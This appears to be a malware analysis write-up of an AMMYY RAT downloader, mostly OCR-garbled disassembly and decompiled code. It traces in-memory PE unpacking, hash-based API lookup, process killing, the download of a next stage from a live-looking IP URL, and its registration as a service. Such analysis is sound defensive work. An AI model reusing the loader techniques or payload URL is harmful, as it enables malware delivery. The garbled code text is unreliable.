A Brief Overview of the AMMYY RAT Downloader

secrary.com/ReversingMalware/AMMY _RAT_Downloader/

cd ../reverse_engineering_malware 4 minutes read
SHA-256: 963f1735e9ee06c66fdf3a831d7c262bc8bce0d7155e37f9a5aa2677e0a6090c

You can download the malware sample from malware-traffic-analysis.net

Stage 1

The main function is full of junk instructions, the most interesting function inside the main is
decode_n_call function near the end:
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PP LD D
aa41BCe2
eadlBCe2
ea41BCaC
ea41BCve
aa41BCTC
aa41BCE2
aa41BCE8
aa41BCEA
aa41BC98
eadlBCos
@a41BCo96
ea41BCAT
aa41BCAR
aa41BCAE
aa41BCES
aa41BCBE
@a41BCC1
eadlBCCT
ea41BCCE
ea41BCCA
aa418CDE
aa418CD6
aa41BCDC
aa41BCE2
aa41BCES
ea41BCEE
aa41BCF4
ea41BCFE
aa41BCFE
@a41BCFF

loc_41BCR2:

[ebptvar_36C], 23Eéh
[ebp+var 378], BFSB2D5B4h
ecx, [ebptvar_36C]
ecx, [ebptvar_378]
edx, [ebp+var_368]
edx, ecx
[ebpt+var_368], edx
eax, [ebptvar_373]
eax, 9ESEh

eax, [ebptvar 373]
eax, [ebptvar_36C]
[ebpt+var_36C], eax
[ebp+var_384], BESBCh
ecx, [ebpt+var_364)
ecx, 1

eax, [ebptvar_364]

ecx
[ebptvar_274], eax
edx, [ebpt+var_364]
[ebp+var_378], edx
eax, [ebpt+var_364)
[ebpt+var_37C], eax
ecx, [ebptvar_378]
edx, [ebptvar 37C]
eax, [ecx]

eax, [edx]

eax, [ebptvar_364]
ebp+var 364], eax

il e =

aa418DaA
aa418DaA
ead1B0DeA
ea41B8011
8418018
@a41B016
ea418021
aa41B8025
8418029
ead41B02C
aa41B02E
ea41B034

Inside the decode_n_call function, it allocated memory, decodes a data from 0x0433220

loc 41BD@A:

[ebp+var 68], @FS4E1EGCh
[ebptvar_2C], @EBh

ecx, [ebptvar_g@]

ecx, BFIAZECEFh

ecx, [ebpt+var_2C)

ecx, [ebptvar_&8)
[ebpt+var_BB], ecx

eax, eax

ecx, [ebptcanary]

ecx, ebp

address and jumps to it via call instruction:
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GG

Gz

95

env_str_wver_info (47665, 47665, 47665);

alloc mem = Wirtualalloc(®, exD2eu, flallocationType, @xd48u);

T TIft32842;
env_str_wver_info__ (68782, 68782, -12632842);
vl4 = 286;

v o= 44331;

vls = &wvld;

V3B = -2086;

alloc _mem cede = alloc_mem;
w25 = &w33;

v33 = 2465;

for ( 1 =8; 1 < 4; ++1 )

1

wiG = -372867806;
vi = 37286657

}

for { index_code = @3 index_code ¢ @x348; Hindex_code )

1
c_word = *&dword_433228[4 * index_code];
07558 = Bx7558;
v3 = BxFFFFFFB@;

c_word = @x7558 ~ _ ROL4 (c_word - index_code, 5);

*{alloc_mem + index code) = c_word;
h
w30 = 28872;
for (=05 3 <4; +7)
vie = @xFesDCC2C;
w39 4= 219961;
vig = 51382;
w34 = &v3E;
w30 -= Bx18838;

kernel32 handle = GetModuleHandleA(“kernel32"™});

w19 = dword_482CD8;
v2B = 08288

v21 = 5182;
w22 = 133888,
w23 = &vl3;

v24 = 35487;
vls = -2515843599;
for ( k=8; k € 4; k)
1
v13 *= (v13 | BxFACGA2AA) - 241381498;
w12 = -241381498 / (vZ4 + 1) - 241381498;
¥
env_str ver_info (v24, "m_TempAdaptBuf™,
allcc_wEﬁL;cde{&ke’nElBE_handlE}j

s S = = T T
v3l = -1524553;
w27 = &vilG:

v24y;
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N bt Shmiaied i B o =y ran wsana o SR o L i A
83 C4 OC add esp,C
8D 4D ASB Tea ecx,dword ptr ss:|febp-5&]
51 push ecx
FF 55 8C call dword ptr ss:[ebp-74]

C7 45 AD BO 24 45 FD
C7 45 DC BFY BC E8 FF

BB 55 AD
2B &5 DC
89 55 C8
8D 45 AOD
89 45 CC
80 4D AD
89 4D F4
BB 55 CC
BE 45 F4
BE 0A

OF AF 08
03 4D C8
89 4D C8
8B 55 C8
Lz

BB 45 AD
&N

mov edx,dword ptr ss:ebp-60]
sub edx,dword ptr ss:|ebp-24])
mov dword ptr ss:|[febp-38], edx
Tea eax,dword ptr ss:|lebp-60]
mov dword ptr ss:|[lebp-34), eax
lea ecx,dword ptr ss:|lebp-&0f)
mov dword ptr ss:[febp-CJ,ecx
mov edx,dword ptr ss:|lebp-324]
mov eax,dword ptr ssi|ebp-Cj)
mov ecx,dword ptr ds: [edx]
imul ecx,dword ptr ds:[eax]
add ecx,dword ptr ss:|lebp-3&]
mov dword ptr ss:|[lebp-38J,ecx
mov edx,dword ptr ss:|[febp-35]
push edx

mov eax,dword ptr ss:|lebp-60]
nish sax

mov dword ptr ss:|febp-60),FD4594B0
mov dword ptr ss:|ebp-24)),FFEBBCBT

It allocates two memory blocks, each 0x3000 length, with PAGE_EXECUTE_READWRITE

permission:

T PI—
mov 2ax,dword
mov dword ptr
push 4

push 3000

mov ecx, dword
mov edx,dword
push edx

push 0O

jne 25602C2
jmp 25605B2
push 4

push 2000

push ecx
push 0

jne 25602E3
jmpl 2560582

00| mov dword ptr ssifebp-Cof,0
00| mov dword ptr ss:fiebp-BCl,0

s5:|flebp-158]
s5: lebp-28), eax

ptr ss:|jebp+sj
ptr ds:[ecx+8]

call dword ptr ss:
mov dword ptr ss:|lebp-3C), eax
cmp dword ptr ss:[febp-3Cl,0

febp-25]

mov eax,dword ptr ss:[[ebp+&])
mov ecx,dword ptr ds:[eax+10]

€&l dword ptr ss:|[Jebp-35]
mov dword ptr ss:lebp-2CQ, eax
cmp dword ptr ss:|lebp-2CQ),0

[ebp-38]:virtualAlloc

[ebp-38]:virtualAlloc

After that, it writes some decoded data inside the first allocated memory:
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= FF 0O0|mov dword ptr

: FF

FF

: FF

: FF

: FF

: FF

FF
FF

jmp 2560317
mov e2dx,dword
add edx,1

mov dword ptr
mov eax,dword
add eax,1

mov dword ptr
mov ecx,dword
mov edx,dword
cmp edx,dword
jae 2560263
mov eax,dword
xor edx,edx
mov ecx,3

div ecx

test edx,edx
jne 2560347
mov edx,dword
add edx,2

mov dword ptr
mov eax,dword
mov ecx, dword
mov edx,dword
add edx,dword
mov eax,dword
mov C1,byte pt
mov byte ptr d
jmp 25602F9
mov edx,dword
mov eax, dword
imul eax,eax,3
xor edx,edx
mov ecx,5

div ecx

mov dword ptr

* FF 00|mov dword ptr

dAmn 0 ST O

ss:ebp-BCH, 0
ptr ss:[ebp-C0]

ss:|febp-coff, edx
ptr ss:|ebp-BC]

s5: lebp-BCl, eax
ptr ss:|jebp+:j

ptr ;;:[ebp—cnj
ptr ds:[ecx+58]
ptr ss:|flebp-BCf]

ptr ss:|ebp-COf

ss:|febp-coff, edx

ptr ss:[lebp+s]
ptr ds:[eax+4]
ptr ss:|febp-3C)
ptr ss:|jebp-BCj
ptr ss:|flebp-Cof

r ds: [ecx+eax]
s:[edx],cl

ptr ss:[febp+s]
ptr ds:[edx+8]

s5: [lebp-24), eax
ss:|lebp-c4f,0

ecx+8: "rAprMayliunl

ecx:"JanFebMaraprm

ecx:"JanFebMaraprm

ecx:"JanFebMaraprm

ecx+eax*1l] : "AprMmay

ecx: " JanFebMarAprM
ecx: " JanFebMaraprm

mp 5

B watch 1 Ix=llocals 4/ Struct

o0 00
o0 00
o0 00
o0 00
o0 00
o0 00
o0 00
o0 00
o0 00
o0 00
o0 00
o0 00
o0 00
o0 00

Also, there is another loop which decodes/decrypts once again the written data in the

memory:
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3C FF FF FF 00| mov dword ptr ssi [ehp c4],
jmp 20393
3C FF FF FF mov edx,dword ptr ss:[ebp-C4]
1 add edx,1
3C FF FF FF mov dword ptr ss:|[febp-C4), edx
3C mov eax,dword ptr ss:|[febp-24]
32 shr eax,2
3C FF FF FF cmp dword ptr ss:[Qebp-C4), eax
jas 303F2
3C FF FF FF mov ecx,dword ptr ss:|lebp-C4]
4 mov edx,dword ptr ss:|[febp-3C])
54 mov edx,dword ptr ds: [edx+ecx*4]
38 FF FF FF mov dword ptr s [ehp C8j, eax
38 FF FF FF mov ecx,dword ptr s:|[lebp-Caf]
3iC FF FF FF sub ecx,dword ptr 55:[ehp—c4]
38 FF FF FF mowv dword ptr ss:|[febp-C8J, ecx
38 FF FF FF 05| rol dword ss:|febp-C8), 5
)8 mov edx, dw ptr ss:|lebp+sj
38 FF FF FF mov eax,dword ptr ss:|[febp-C3]
.o xor eax,dword ptr ds:[edx+C]
38 FF FF FF mov dword ptr ss:|[febp-Ca8J, eax
3C FF FF FF mov ecx,dword ptr ss:|febp-c4]
_4 mov edx,dword ptr ss:febp-3C)
38 FF FF FF mov eax,dword ptr ss:|ebp-Caj)
A mov dword ptr ds: [edxi+ecxk+4],eax
jmp 30384
4 mov ecx,dword ptr ss:|[febp-2C]
push ecx
.4 mov edx,dword ptr ss:|ebp-3C]
push edx
36 00 00 call 30470
38 add esp,8
test eax,eax
jne 3040B
31 00 00 jmp 305B2
B0 00 00 push 8000
ek
B2% Dump 5 @' Watch 1 [x=] Locals ;f} Struct
ASCIT
&8 15 BE FC MEZ.‘D.DE.I;INH..H
08 4D 68 EE|¥.9@"0D&A_DPA..Mhi
TS5 79 3B 63| h]gld BoD..=uy;cC
62 ED A9 DB| 'ké.0péé.o0..7180
ES &9 28 D9|°K3.1.Axis .&i(D
BO A8 &F D2|..C£. "§.Rs ° o
Af 78 B2 DB|H!XE.E|*C.0I%2X.8
44 90 39 Al .]9Ua.x:.4..D.9i
CA 31 05 B3 ‘Hh]E EeG El.®
8A 09 28 90| ..CC.2. 8G"B...(.
B2z 90 FO 3F Eihﬁai R XB=. 87
82 08 64 90|®.I..aZPR".p..d.
FC AA 48 A8|15 ARN1CD&_!aii2H
E6 13 83 10(.¢DX...W.&..%E...
73 0B AD D5 | ge. Guid ' x24Aas. O
CC 5A EE 17|0AA&aF..p>+A.IzZ3.
EM 4% 8% m? | itawe roAiE

Seems like it's PE file, but still encoded, not valid yet.

Function 0x30A70 gets two arguments, the encoded/encrypted data and the second
allocated memory, the function returns a decoded/decrypted PE file via the second

argument:
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Jae JLars EAX  O000398A
F FF FF mov ecx,dword ptr ss:|lebp-C4] EBX Q0000001
mov edx,dword ptr ss:(febp-3C]) — 025 80000
mov eax,dword ptr ds: [edx+ecx™4]
F FF FF mov dword ptr ==z:[[ebp-cz],eax EDx 02560000
F FF FF mov ecx,dword ptr ss:[lebp-csl EEF  OOD13FATE
F FF FF sub ecx,dword ptr ss:febp-C4] ESE  0013F33C
F FF FF mov dword ptr ss:|[lebp-C8],ecx E5SI 00000002
F FF FF 05| rol dword ptr ss:[ebp-C8),5 EDI 00002 3F0
mov edx,dword ptr ss:|febp+3j]
F FF FF mov eax,dword ptr ss:|febp-cs] EIP 000303FA
xor eax,dword ptr ds:[edx+C]
F FF FF mov dword ptr ss:|lebp-C2), eax EFLAGS 00000z 46
F FF FF mov ecx,dword ptr ss:febp-C4]) ZE 1 PE 1 AF O
mov edx,dword ptr ss:|ebp-3C) OF 0 SF O DF O
F FF FF mov eax,dword ptr ss:|febp-CE])
mov dword ptr ds:[edx+ecx®4],eax CF O TFO IF1
jmp 20384
mov ecx,dword ptr ss:[febp-2C] LastError 00000074 (ERROF
push Scxd 4 geb . LastsStatus CO000034 (STAT
mov edx,dword ptr ss:|ebp-3C
push edx G5 002B FS 0053
0 0o E§;1 30ATO0 ES 0O02BE D5 002B
add esp, 8 €5 0023 00ZE
test eax,eax a2
N - gg;gg XE7r0 0000000000000000000
i Augh o x87r1 0000000000000000000
push 0 X87r2 0000000000000000000
mov eax,dword ptr ss:[febp-zc] X87r3 0000000000000000000
push eax K87 r4 0000000000000000000
€2l dword ptr ss:|ebp-6C[] [eb ¥87r5 0000000000000000000
mov ecx,dword ptr ss:|ebp-2C] X87r& 3IFFFB0000000000000M
mov edx,dword ptr ss:|ebp-2C]) ¥87r7 3FFFEDE7FOC27SDF2236
add edx,dword ptr ds:[ecx+3C]
F FF FF mov dword ptr ss:[ebp-24], edx x87Tagword FFFF
gﬁgheg;idWDFd ptr ss:jfebp-20] XB7TW_O 3 (Empt XB7TW.
push 40
F FF FF mov ecx,dword ptr ss:|[Jebp-94]] Default {stdcall)
mov edx,dword ptr ds:[ecx+50] 1: [esp] 02560000
push edx - 2: [esp+4] 02580000
muvheax,dwurd ptr ss:[ebp-2zs] 3: [esp+s] 0000DOODO
T = = 4: [esp+C] 00000000
5: [esp+10] 00000000
r i
fyoump4  @oDumps & watchi  Ir=llocals ¥ Struct
ASCIT

09 71 FF(81 BS C2 91
09 CD
73 20 FO|72 39 6F &7

74 9E 62 |5 _BE 2D _Fo

1F BA F8(03 B4

6F 0OE 64|65 ZE
2B 6A 17 (04 OF
0D F3 E2(CH 05
6B 86 10(8A 10
30 FD 08 (|CEB 20
50 45 08(4C 35

02 01 OB (D9 04
47 nd 0 lar e

It removes the
code:

MsZ.8.f...qv. A.
JEALE. ... e

I BL..This proog
.am.c.n}7t. be;=u

0D 25 |(~ai.D0Semo.de. . %
F5 4D|.%$ h&.Da.+]...dMm
4F 10| §A.0.H,0..084.0.
32 27 |¥.+gUA.0,k....2"
AE GO dD.,Iia&*Df.E -
01 05 |RichexSA.PE.LS..
12 Fe|.I0.[c.a....0..p
21 N a A B

malin

executable from the memory and copies recently decoded/decrypted

oy
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‘F FF FF 00|mov dword ptr ss:[febp-cClf,0
jmp 30469
‘F FF FF mov edx,dword ptr z=z:[ebp-CC]
add edx,1
FF FF mov dword ptr ss:|[febp-CCl, edx
FF FF mov eax,dword ptr :[febp-324] [ebp-94]:"PE"
FF FF mov ecx,dword ptr ilebp-CCl
cmp ecx,dword ptr : [eax+50]
jas 30488

mov edx,dword ptr ss:|[ebp-50J
‘F FF FF add edx,dword ptr ss:|ebp-CCj

mov byte ptr ds:[edx],0
jmp 0454
‘F FF FF mov eax,dword ptr ss:|[febp-324] [ebp-94]:"PE"
mov ecx,dword ptr ds:[eax+54]
push ecx
mov edx,dword ptr ss:|[febp-2C])
push edx
mov eax,dword ptr ss:|ebp-22]
push =ax eax:"PE"
oo call 20870
add esp,C
mov ecx,dword ptr ss:llebp-2C)
mov edx,dword ptr ss:|ebp-2&])
add edx,dword ptr ds:[ecx+3C]
FF FF mov dword ptr ss:|[[ebp-24], edx
FF FF mov eax,dword ptr ss:|lebp-24] [ebp-94]:
movZx ecx,word ptr ds:[eax+l4]
FF FF mov edx,dword ptr ss:|[lebp-24] [ebp-94]:"PE™

Taa aawv Aduwrd Atr Acs Tadviarwvo1ol aaw"OC"

7T
A
LA A

=]

npE
npg

a7k T

Woumps % watch1  be=llocale 5 Struct

ASCIT

00 00 BB|heeeeeenens [
00 00 00| .eeuun. [
00 O0 OO veennvnnnnnnnnns
00 00 OE|.eeenecnnns B....
t4 68 69| .°.. .1t .LItThi
6E 6F 74 |5 program cannot
53 20 6D| be run in DOS m

00 OD FD |ode....$....... v
01 84 9E|Eox ... ..."

01 84 9E|L|.2....LD.¢....
01 84 BO|LT.9....LZ.0u.."
01 B84 BO|D..%..."...48...°
01 84 52|0.. _...%0.._...R
00 00 DD 1Ch v vvnnnnnnnns
03 00 DA|..cnu.. PE..L...-
02 0L OB|G.[eueennnn a....
e e R o =

Section maps:
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i @ | 0D03050C BE 8D 30 FF FF FF mov ecx,dword ptr ss:Qebp-D0OJ
! @ | 00030512 6B C9 28 imul ecx,ecx,28
f ® || 00030515 BB 95 58 FF FF FF mov edx,dword ptr ss:|[febp-as]) [ebp-A8]:". text"
! al0ON3081E BE 45 D4 mov eax,dword ptr ss:|febp-2C]
! ﬂBreakpolntNotSet H:B 44 0A 14 add eax,dword ptr ds:[edx+ecx+14]
! ST 0 push eax
I | 00030523 BB 8D 30 FF FF FF mov ecx,dword ptr ss:[febp-D0Oj
i ® | 00030529 GBE C9 28 imul ecx,ecx,28
! ®| 0D03052C BB 95 58 FF FF FF mov edx,dword ptr ss:|lebp-az]) [ebp-A8]:".text"
i ®| 00030532 BE 45 DB mov eax,dword ptr ss:|febp-238]
! ®| 00030535 03 44 0A 0OC add eax,dword ptr ds:[edx+ecx+C]
' @ | 00030539 50 push eax
1 . DDD:DS:A E8 31 03 00 OO0 call 30870
F) t 83 C4 0OC add esp,C
0003054" ~ EB 93 jmp 304D7
000305 44 BB 8D &C FF FF FF mov ecx,dword ptr ss:[febp-24] [ebp-924]:"PE"
00030544 BB 51 34 mov edx,dword ptr ds:[ecx+34]
000305 4D 3B 55 D8 cmp edx,dword ptr ss:|[ebp-23]
----- ®((0DO30550 v T4 25 je 30577
®| 00030552 BB 85 &C FF FF FF mov eax,dword ptr ss:|[febp-34] [ebp-94]:"PE"
| nnoncco oD a9 2. mavr arv dwned nte dcs Faawvo 3471
£
Woump1  @loump2z  @Woump3  @WDump4  @loumps @ watchi  Ix=lLlocals & struct
ldress | Hex ASCIT
400FFO | 00 00 00 00|00 00 OO0 O0|00
401000 (55 8B EC 81 00
401010 (06 C7 45 FC |00 00 0O OO|C7
401020 2C 34 00 00|83 C4 08 GA|0D
401030 | 88 14 41 QQD|FF DO BB FO|(B5 F& 75 08|83 CB FF SE|..A. yB 6 Ou..
401040 8B E5 5D C3 |57 68 66 BD (7D BB &A 06|EB FF 33 00 é]_ﬂm‘hf)&} d= ey3
'401050| 00 83 C4 08| 6A 00 68 00|00 00 80 6A|00 6A 00 FF|..A. j h....j.].y
401060 h.u.s
401070 :E
401080 sh. ne J.e%
401090 -3;h. L3.3
401040 L jru yﬂ.ﬂ.
401080 Oyu-h.0.sj.e.3..
14010C0 . mhd":-m 2~3
401000 . A syp,A[_A, ]
ANINFNIC2 £82 £ 249121 14 £4 NRIFRA £2 232 nNninn A2 4 NA l 19 Be

Inside 0x30730 (offset 0x730

) function it build IAT for the new PE file:

9/20



00030730

mqw"m"nqﬂq‘;'l;-l'r;-l-:x“n:;

; ebp-1

o
¥
ptr ss:|[febp+a]
ss:lebp—34ﬁjeax : [ebp-34] :virtualQuery
ptr ss:lebp—3 : ecx!GetProcAddress, [ebp-34]:virtualQuery
ptr ss:|jebp+ ; edx:LoadLibrarya
edx,dword ptr ds:[ecx+3C] ; edx:LoadLibrarya
dword ptr ss:[Qebp-18],2dx ; edx:LoadLibrarya
eax,dword ptr ss:lebp—l
ecx,dword ptr ss:|febp+ ; ecx:GetProcAddress
ecx,dword ptr ds:[eax+80] ; ecx:GetProcAddress
dword ptr ss:ebp-100,ecx ; ecx:GetProcAddress

Q0030787

mov edx,dword ptr ss:|febp-10f ; edx:LoadLibrarya
cmp dword ptr ds:[edx+C],0

je 20860

Q0030794
mov eax,dword ptr ss:lebp—l
mov ecx,dword ptr ss:|febp+ ; ecx:GetProcAddress
add ecx,dword ptr ds:[eax+C] ; ecx:GetProcAddress
mov dword ptr ss:ebp-14],2cx ; ecx:GetProcAddress
mov edx,dword ptr ss:|febp-14] ; edx:LoadLibrarya
ush edx ; edx:LoadLibrarya
dword ptr ss:[lebp+C
mov dword ptr ssiffebp-28],eax
cmp dword ptr ss:febp-28§,0
jne 307ES

After that, it jumps to the entry point of the new PE file:

LG UM RS ROl S L £ d
taloEssfs nLRE
lotes ~ ® Breakpoints ™ MemoryMap [ Cal Stack &9 SEH  |of Soript 9l Symbols <% Source
~ EB F7 jmp 30591

&4 A3 00 00 00 00 mov dword ptr Jli: [0],2ax

8B 8D &C FF FF FF mov ecx,dword ptr ss:|lebp-9 [ebp-94]:"PE"

8B 55 DB mov edx,dword ptr ss:|febp-2z

03 51 28 add edx,dword ptr ds:[ecx+23]

89 55 AC mow  dword r ss:|[flebp-5 edx

8B ES mov esp,ebp

cD ebp

c3 ret

CC int3

cC int3

CC int3

CC int3

CC int3

CC int3

CC int3




Instead of continuing analysis, it's much easier to dump the new PE and analyze it

separately.

Stage 2

The second PE is full of junk instructions, too. The interesting part starts at 0x0401EED

location.

: ]

bl et (55

88481EED push 1 3 uMode
BB481EEF call ds:SetErrorMode

BB8481EF5 call sub_483B18

BB481EFA push BFDE@BGE3h

BB481EFF push 4

88481Fe1 call sub_4p4458

eg481Fes add esp, 8

ea4a1Fag call eax

88481FeE push offset aWsusExe ; "wsus.exe"
88481F18 call sub_483DES8

88481F15 push offset aWsusExe @ ; "wsus.exe"
88481F1A call sub_483DES8

88481F1F push offset aWsusExe_1 ; "wsus.exe"
88481F24 call sub_483DES8

e8481F29 push offset aWsusExe 2 ; "wsus.exe"
88481F2E call sub_483DE@

88481F33 push 57@BCEEFh

88481F38 push 4

@e481F348 call sub 484458

88481F3F add esp, 18h

2e481F42 push a

88481F44 push a

ee481Fas push offset aCNetExeStopAmm ; "/C net.exe stop ammyy"
88481F4B push offset alCmd ; “cmd"
@e481F52 push a

88481F52 push a

ea481F54 call eax

8B481F56 push S7ABCEEF

8e481F5B push 4

ee481FsD call sub_4a4458

2a481F62 add esp, 8

8B481F65 push a

88481F67 push a

88481F69 push offset alScDeleteAmmyy ; “/C sc delete ammyy"
B88481FBE push offset almd &8 ; "cmd”
8B481F73 push a

88481F75 push 8

e8481F77 call eax

hronized with FTRY

Inside the sub_403B160 function, it tries to delete Settings , Microsoft\\Enc , AMMYY ,
Foundation and Foundationl directories, also following files: wmihost.exe ,

settings3.bin, wmites.exe , wsus from different directories:
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sub_485B64("¥s\n", &szPath);

DeleteFileA(&FileName);
DeleteFileA(&vd);
DeleteFileA(&vl2);
DeleteFileA(&vE);
DeleteFileA(&v1a);
DeleteFileA(&v2);
DeleteFileA(8v1S);
DeleteFileA(8v1d);
wsprintfA(&v13, "¥s\\Microsoft
wsprintfA(&vll,
DeleteFileA(&v13);
DeleteFileA(&v1l);

RemoveDirectoryA(&PathName) ;
RemoveDirectoryl(&v7);
RemoveDirectoryA(&vS);
RemoveDirectorya(&v3);
return RemoveDirectoryA(&vl);

LR e A R L T i e e T T I e e L e I - ]

}

ANANTICERT Aok AAZ0 400 fAN DT

wsprintfA(&FileName, %\ \AMMYY\\wmihost.exe", &szPath};
wsprintfa(&va, "Bs"\\AMMYY\\settings3.bin", &szPath});
wsprintfa(&vl2, "Es\\Foundation‘\wmites.exe", &szPath);
wsprintfA(&ve, "¥s\\Foundation‘\\settings3.bin", &szPath};
wsprintfA(&vle, "¥s\\Foundationl\\wmites.exe™, &szPath);
wsprintfA(&v2, "¥s\\Foundationll\settings3.bin", &szPath);
wsprintfA(&v15, "¥s\\Microsoft\\wsus.exe"™, BszPath);
wsprintfA(&v14, "¥s\\Microsoft\\settings3.bin™, &szPath);

Helph\wsus.exe"”, &szPath);

wsprintfA(&PathName, "Xs\\Settings™, &szPath});

wsprintfA(8v7, "¥s\\Microsoft\\Enc", &szPath);
wsprintfA(&vs, "¥s\N\AMMYY", RszPath);
wsprintfA(&v3, "¥s\\Foundation™, &szPath);
wsprintfa(&vl, "¥s\\Foundationl™, &szPath};

SHGetSpecialFolderPathA(@®, &szPath, CSIDL_COMMON APPDATA, @); |

"%\ \Microsoft Help\\settings3.bin™, &szPath};

It uses sub_404450 to get a function addresses based on some kind of hash, which is

passed via the second argument:

O & X | 8 General registers [

BBAB1EES test al, al | EAX BOBOBOBE L D0

EBX 76D35980 % kernel32.d11:kernel32_LoadLibraryA VIF

] ECX5AL7COF4 b :E'

EDX BB8RE0E8 ' VM

El—ﬁ -, ESI 76D8DB3@ & kernel32.dll:kernel32_GetCurrentProcessId RF

BE481EED puig i d\’\?j uMcde EDI BREEERRT L. NT

BB401EEF ca s:5etErrorMode ) TOF

BBLIFF34 Stack[@eee1568] :@A19FF34

BE481EFS call delete dirs files &3 5 SEEy ] OF

@8401EFA push GFDEGBGE3h ; isUserAnAdmin ESP @P19FAAS W Stack[0@001508]:0019FAAS DE

B8481EFF push 4 EIPBB4B1EFA W WinMain(x,x,x,x)+4DA 1F

@8401FeLl call sub_4e4458 EFL eeB2B246 TF

284081F86 add esp, 8 SF

28481F89 call eax ZF

@e421F@E push offset aWsusExe ; "wsus.exe” AF

28481F18 call sub_4@3DER PF

B8421F15 push offset alWsusExe @ ; "wsus.exe” CF

88481F1A call sub_4@83DE@

28481F1F push offset aWsusExe_1 ; "wsus.exe”

The 0x403DEO
corresponding process:

function gets process name as the argument and terminates the
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BR401FE6E add esp, 8

\e481Fe9 call eax

2e481F8B push offset aWsusExe ; "wsus.exe"
|e481F1e call terminateProcess 483DE@

@8481F1A call terminateProcess 4@83DER
@a481F1F push offset aWsusExe 1 ; "wsus.exe"
B8401F24 call terminateProcess 483DER
B401F29 push offset aWsusExe 2 ; "wsus.exe"
BB4B1F2E call terminateProcess_483DE@
B8481F33 push 57@BCEBFh

28481F38 push 4

ee481F3A call getFunc_fromHash

BR401F3F add esp, 18h

@8481F42 push a

88481F44 push (]

14

15| CreateToolhelp32snapshot = getFunc_fromHash({l, @x5BC1D14F);
16| w2 = CreateToolhelp32Snapshot(2, @);

17| if ( w2 != -1}

18| {

19 vld = 8x128;

28 v3 = getFunc_fromHash(l, @x19F78C08);

21 if [ v3(v2, &vle) )

22 {

23 do

24

25 if ( !lstrcmpA(&Stringl, lpString2) )

26 7

27 vid = wll;

28 v5 = getFunc_fromHash(l, @x9944299D);

29 ve = wi(1, @, wvi);

E10] if ( ve )

31 {

32 terminateProcess = getFunc fromHash(l, @x9EGFAB42);
33*
34 CloseHandle(vE);

35 1

36 }

37 nextProc = getFunc_fromHash(l, ©xC938EALE);

38 }

39 while { nextProc(v2, &v18) );

10 }

11| }

12| return CloseHandle(v2);

1z

It executes following commands using ShellExecutew function: cmd /C net.exe stop

ammyy , cmd /C sc delete ammyy , cmd /C net.exe stop foundation and cmd /C
sc delete foundation
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2a481F44 push 8

BB481F4E push offset aCmd ; Momd”
Be481F58 push a8

28481F52 push a8

8a481F54 call EaM 3 ShellExecutel
@8481F56 push 27BBCEEFh

@a481F5E push 4

@a481F5D call getFunc_fromHash

BR4R1F62 add esp, 3

BB481F65 push 8

Be4a81Fe7 push a8

28481F69 push offset aCScDeleteAmmyy ; "/C sc
28481F6E push offset aCmd_ 8 ; "cmd"
@8481F73 push a

@a481F75 push a

88481F77 call eax ; ShellExecutel
Ba481F79 push S7BBCEEFh

BB481F7E push 4

\e4a1FEe call getFunc_fromHash

e84a1FE5 add esp, 8

28481F88 push a8

@a481F8A push a

28481F91 push offset aCmd 1 ; “cmd"
Ba481F96 push 8

BB481F98 push 8

ea4a1Fan call EAN 3 ShellExecuteld
28481F9C push 57BECEEFh

28481FAL push 4

@p481FAS call getFunc_fromHash

Ba401FAS add esp, 3

BB481FAB push a

Ba481FAD push 8

BB4B1FAF push offset aCScDeleteFound ; "/C sc
B8481FE4 push offset aCmd_2 ; Momd”
B8481FBY9 push a8

28481FBE push @

88481FBD call eax

P8481FEF mov esi. ds:SHGetSpecialFolderPatha

These commands stop the malware if there is one.

It generates random name (via CoCreateGuid ) fora PE file, which it downloads from

http://185.176.221.29/ban3.dat :

Ba481F46 push offset aCNetExeStopAmm ; “/C net.exe stop ammyy

"
VY

"
delete ammyy

@a481F8C push offset alNetExeStopFou ; “/C net.exe stop foundation™

delete foundation™
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T ) oA viewEP o ¢
Path Result Detail
08482101 loc_402101:
C:\ProgramData\Microsaft Helpwaus_41b480tmp NAME NOT FOUND Desired Access: R... ontoaiol Ton  emx, [ehptpguid]
08482104 push  eax 5 pguid
08482105 call  ds:CoCreatesuid
08482108 push @ 5 fCreate
08482100 push  CSTDL_COMMON_APPDATA ; nFolder
0048210F lea  eax, [cbptvar 278]
08482115 push  eax 5 IpszPath
ba42116 push @ 5 hwndiwner
00482118 call  esi ; SHGetSpecialfolderPatha
b848211A movzx  ecx, [shp+pguid.Datal]
0048211F imul  ecx, [ebp+pguid.Datal]
08482122 movzx  eax, [shp+pguid.Datad]
00482126 add  ecx, eax
08482128 push  ecx
00402129 push  offset aCProgramdataMi ; "C:\\ProgramData\\Microsoft Help
0848213F lea  eax, [shp+var_275]
88482134 push  eax
00482135 lea  eax, [cbp+FileName]
08482136 push  offset aSMicrosoftHelp @ ; "S\\Microsoft Help\\wsus_%e. tmp”
08482148 push  eax 5 LPSTR
pa42141 call  dsiwsprintes
00482147 add  esp, 1¢h
08482144 1ea  eax, [shp+Filelame]
08482158 push  eax 5 lpFileliame
08482151 call  ds:DeleteFiles
00482157 lea  eax, [cbp+FileName]
00482150 push  eax 5 lpOutputstring
0848215E call  ds:0utputDebugStrings
00482164 lea  eax, [cbp+FileName]
ba4216A push  eax
08482168 push  offset aHttpls51762212 ; "http://185.176.221.29/ban3.dat”
98482178 call  downloadlextStage_bin
08482175 mov  esi, dsiSleep
08482176 add  esp, 8
0048217E push  1388h 5 dwiilliseconds
08482183 call  esi ; Sleep
ba42135 push @ 5 hTemplaterile
08482187 push  3eh 5 dwFlagsandAttributes

Inside downloadNextStage_bin function, it downloads a file from the URL and saves at

above-mentionshed location:

v24 = 8;

v23 = 8

InternetOpend = getFunc_fromHash(6, @x8593DD7);
vS = InternetOpenA(&unk 411488, @, @, @, 08);

if ( ws )

return -1;
InternetOpenlUrls = getFunc_fromHash({6, -1199719866);

-h

(v )

-

CreateFileA = getFunc_fromHash{1l, @xBF8F114);

= getFunc_fromHash(6, @x7314FB8C);

2
w1203
v1l3 = getFunc_fromHash(l, @x723EBED5);
w13

InternetReadFile =
InternetReadFile(vd, &v22, 1024, &y24);
v1s =

if ( vz
r

)

A
24
A

It copies the new file to CSIDL_COMMON_APPDATA\Microsoft Help\\wsus.exe

original one:

vd = InternetOpenUrlA{vS, URL, @, @, 2147483648, @, al);

= CreateFilef(ad, exCoPOEEGE, 3, @, 2, 128, 8, al);

getFunc_fromHash(6, ®x1A212962);

and deletes
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Inside sub_402960 function if the useris an admin , it executes above-mentioned
commands once again, registers the downloaded PE file as a service called foundation

and starts it:

ea482297 call
ARAR2 290 cmn

28482287 push edi

ds:DeleteFiled
hwte nte Tedil. ant

280482979 lea ecx, [ebp+Progami
8648297F push 2]

